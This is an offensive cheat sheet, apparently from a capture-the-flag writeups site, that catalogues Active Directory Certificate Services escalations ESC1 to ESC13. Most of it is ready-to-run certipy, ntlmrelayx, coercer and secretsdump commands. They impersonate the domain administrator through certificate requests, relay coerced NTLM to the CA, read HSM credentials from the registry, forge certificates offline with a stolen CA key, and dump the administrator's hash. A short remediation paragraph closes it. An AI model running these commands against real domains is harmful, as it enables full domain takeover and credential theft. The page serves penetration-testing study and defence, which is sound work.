Active Directory, ADCS / ESC1 to ESC13

The full AD CS escalation catalogue, every ESC from requester-supplied SAN to issuance-policy group links, with the one abuse that matters for each and the certipy command to spot it.

Active Directory Certificate Services is the single richest path to Domain Admin on a modern domain: a certificate is a credential that survives password resets, so one misconfigured template or CA role ends the engagement. The techniques are catalogued ESC1 to ESC13 after the SpecterOps Certified Pre-Owned paper (ESC1 to ESC8) and Certipy’s later additions (ESC9 to ESC13). This is the reference I keep open the moment certipy find prints anything red.

Find it first#

One authenticated scan classifies every template and CA against the whole ESC catalogue. Read the [!] Vulnerabilities block bottom-up, it names the exact ESC.

bash
# enumerate + classify everything (BloodHound-style), then a text summary
certipy find -u <user>@<dom>.htb -p <pass> -dc-ip <DC-IP> -stdout -vulnerable

# offline triage of a saved run
certipy find -u <user>@<dom>.htb -p <pass> -dc-ip <DC-IP> -json -output adcs

Template misconfigurations, ESC1 to ESC4#

The classic four: the template itself is wrong. ESC1 lets me name the victim, ESC2/ESC3 give me a cert usable for anything (or on behalf of anyone), ESC4 hands me write access so I can make a template ESC1.

bash
# ESC1 — template allows enrollee-supplied SAN + client-auth EKU: enrol AS the DA
certipy req -u <user>@<dom>.htb -p <pass> -dc-ip <DC-IP> \
  -ca <CA> -template <VulnTemplate> -upn administrator@<dom>.htb -sid <DA-SID>

# ESC2 — Any Purpose (or no) EKU: same request, cert is valid for anything
certipy req -u <user>@<dom>.htb -p <pass> -ca <CA> -template <AnyPurposeTemplate>

# ESC3 — Certificate Request Agent EKU: get an agent cert, then enrol ON BEHALF OF the DA
certipy req -u <user>@<dom>.htb -p <pass> -ca <CA> -template <EnrollmentAgentTemplate>
certipy req -u <user>@<dom>.htb -p <pass> -ca <CA> -template User \
  -on-behalf-of '<dom>\administrator' -pfx <agent>.pfx

# ESC4 — I have Write/GenericAll over a template: rewrite it into an ESC1, abuse, restore
certipy template -u <user>@<dom>.htb -p <pass> -template <Template> -write-default-configuration
# ...run the ESC1 request above, then put the template back

PKI object & CA-role abuse, ESC5, ESC6, ESC7#

Not the template, the objects and roles around the CA. ESC5 is a dangerous ACL on any PKI object (CA computer, CA object, the Configuration container). ESC6 is the CA-wide SAN flag that turns every template into ESC1. ESC7 is holding ManageCA/ManageCertificates on the CA itself.

bash
# ESC6 — CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set: any template accepts a custom SAN
certipy req -u <user>@<dom>.htb -p <pass> -ca <CA> -template User \
  -upn administrator@<dom>.htb            # SAN honoured CA-wide (pre-2022-patch behaviour)

# ESC7 — ManageCA: grant myself an officer role, enable SAN, approve my own request
certipy ca -u <user>@<dom>.htb -p <pass> -ca <CA> -add-officer <user>
certipy ca -u <user>@<dom>.htb -p <pass> -ca <CA> -enable-template SubCA
certipy req -u <user>@<dom>.htb -p <pass> -ca <CA> -template SubCA -upn administrator@<dom>.htb
certipy ca -u <user>@<dom>.htb -p <pass> -ca <CA> -issue-request <reqID>
certipy req -u <user>@<dom>.htb -p <pass> -ca <CA> -retrieve <reqID>

NTLM relay to the CA, ESC8 & ESC11#

No vulnerable template needed at all: coerce a machine account to authenticate, relay that NTLM to an enrollment endpoint and request a DomainController cert. ESC8 is the HTTP/HTTPS web-enrollment front end (/certsrv), and ESC11 is the RPC/ICPR interface when IF_ENFORCEENCRYPTICERTREQUEST is not set. coercer (or PetitPotam/PrinterBug) is the trigger, and ntlmrelayx is the sink.

bash
# ESC8 — relay coerced auth to the CA web enrollment endpoint
sudo ntlmrelayx.py -t http://<CA-IP>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# ESC11 — relay to the CA RPC (ICPR) interface when encryption is not enforced
sudo ntlmrelayx.py -t rpc://<CA-IP> -rpc-mode ICPR -icpr-ca-name '<CA-NAME>' \
  -smb2support --template DomainController

# trigger: coerce the DC machine account to authenticate to me (relayed above)
coercer coerce -l <LHOST> -t <DC> -d <dom>.htb -u <user> -p <pass> --dc-ip <DC-IP> --always-continue

# turn the issued PFX into the DC$ NT hash, then DCSync as that machine account
certipy auth -pfx DC01.pfx -dc-ip <DC-IP>
impacket-secretsdump '<dom>.htb/DC01$@<DC>' -hashes :<DC$-NThash> -just-dc-user administrator

Certificate mapping abuse, ESC9 & ESC10#

Both bypass the strong certificate-to-account binding Microsoft added in KB5014754. ESC9 is a template flagged CT_FLAG_NO_SECURITY_EXTENSION (no szOID_NTDS_CA_SECURITY_EXT), so a spoofed UPN is trusted. ESC10 is weak DC registry mappings (StrongCertificateBindingEnforcement=0 for Kerberos, or CertificateMappingMethods=0x4 for Schannel). Both are paired with GenericWrite over a victim to flip its userPrincipalName.

bash
# ESC9/ESC10 — I have GenericWrite over <victim>: set its UPN to the DA, enrol, revert
certipy account update -u <user>@<dom>.htb -p <pass> -user <victim> -upn administrator@<dom>.htb
certipy req    -u <victim>@<dom>.htb -hashes <victim-NThash> -ca <CA> -template <Template>
certipy account update -u <user>@<dom>.htb -p <pass> -user <victim> -upn <victim>@<dom>.htb
certipy auth   -pfx administrator.pfx -dc-ip <DC-IP>     # LDAP/Schannel auth for ESC10 case

CA host & issuance policy, ESC12 & ESC13#

ESC12 is shell access to the CA server when its private key lives on a YubiHSM, the PIN sits in HKLM\SOFTWARE\Yubico\YubiHSM\..., so a local admin can export the CA key and forge any certificate offline. ESC13 is a template whose issuance policy is OID-linked to a privileged group (msDS-OIDToGroupLink): enrolling silently grants that group’s membership in the resulting token.

bash
# ESC13 — spot the OID->group link, then just enrol the template to inherit the group
certipy find -u <user>@<dom>.htb -p <pass> -dc-ip <DC-IP> -stdout | grep -i 'ESC13\|OIDToGroupLink'
certipy req  -u <user>@<dom>.htb -p <pass> -ca <CA> -template <PolicyLinkedTemplate>
certipy auth -pfx <user>.pfx -dc-ip <DC-IP>              # token now carries the linked group

# ESC12 — with a shell on the CA, recover the YubiHSM-backed key material, forge offline
reg query "HKLM\SOFTWARE\Yubico\YubiHSM" /s          # authkey + password -> export CA key
certipy forge -ca-pfx <exported-CA>.pfx -upn administrator@<dom>.htb -subject 'CN=Administrator'

Remediation#

Break the catalogue at the source: remove enrollee-supplied SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) from client-auth templates (ESC1/ESC6), scope Enrollment-Agent and Any-Purpose EKUs tightly (ESC2/ESC3), lock down template and PKI-object ACLs (ESC4/ESC5), audit ManageCA/ManageCertificates holders (ESC7), disable NTLM and require IF_ENFORCEENCRYPTICERTREQUEST + EPA/HTTPS on all enrollment interfaces (ESC8/ESC11), enforce strong certificate binding per KB5014754 (ESC9/ESC10), keep CA hosts to a minimal admin set (ESC12), and remove OID-to-group issuance-policy links (ESC13). Re-run certipy find -vulnerable until the block is empty.

KEYBOARD SHORTCUTS
/
focus the search
?
this card
←→
previous / next boxwriteups and cheatsheets
↓
at the very end: open the next boxwriteups only
Esc
close search, lightbox, menu, this card
root@shadowcat:~$ man shadowcat | grep -i keys